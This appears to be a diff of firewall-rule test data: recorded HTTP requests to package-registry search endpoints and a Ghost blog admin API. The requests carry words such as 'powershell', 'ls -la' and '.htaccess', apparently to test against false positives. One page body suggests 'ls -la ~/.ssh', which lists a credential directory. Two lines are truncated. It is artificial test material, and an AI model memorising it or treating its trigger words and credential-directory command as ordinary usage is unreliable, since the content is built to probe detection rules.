-{"method": "GET", "target": "/api/packages/alice/chef/api/v1/search?q=tools&items=9999999&start=0", "headers": ["Accept: application/json", "Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3", "X-Remote-Request-Id: f858e4b5-10bc-4633-a517-f165a65ac4cb", "X-Chef-Version: 19.4.46", "Host: example.com", "User-Agent: Cinc Client Knife/19.4.46 (ruby-3.4.12-p148; ohai-19.1.40; x86_64-linux; +https://cinc.sh)", "Connection: close"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=python3&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=powershell&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=ls%20-la&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=.htaccess&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=docker-compose.yml&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/chef/api/v1/cookbooks?q=tools&items=9999999&start=0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/json"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'python3'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'powershell'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'tools'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='python3'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='powershell'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='ls%20-la'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='.htaccess'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='docker-compose.yml'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Search()/$count?$filter=IsLatestVersion&searchTerm='tools'&targetFramework=''&includePrerelease=false&$skip=0&$top=20&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('python3',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('python3',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20python3%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('powershell',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('powershell',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20powershell%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('.htaccess',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('.htaccess',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20.htaccess%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('docker-compose.yml',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20docker-compose.yml%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'python3'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'powershell'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}
-{"method": "GET", "target": "/api/packages/alice/nuget/Packages()/$count?$filter=tolower(Id)%20eq%20'tools'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*"], "body": ""}

internal/coreruleset/testdata/ghost-requests.txt

@@ -533,8 +533,6 @@
 {"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
 {"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
 {"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3984", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
-{"method": "PUT", "target": "/ghost/api/admin/posts/6af5659a6dde5d0001d3d72e/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 713", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"posts\":[{\"title\":\"Getting started with PowerShell\",\"slug\":\"getting-started-with-powershell\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/powershell/\",\"id\":\"6af5659a6dde5d0001d3d72e\",\"updated_at\":\"2026-11-12T07:07:12.000Z\"}]}"}
-{"method": "PUT", "target": "/ghost/api/admin/pages/6af565b96dde5d0001d3d735/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 701", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"pages\":[{\"title\":\"Rewrite rules in .htaccess\",\"slug\":\"rewrite-rules-in-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/.htaccess/\",\"id\":\"6af565b96dde5d0001d3d735\",\"updated_at\":\"2026-11-12T07:07:42.000Z\"}]}"}
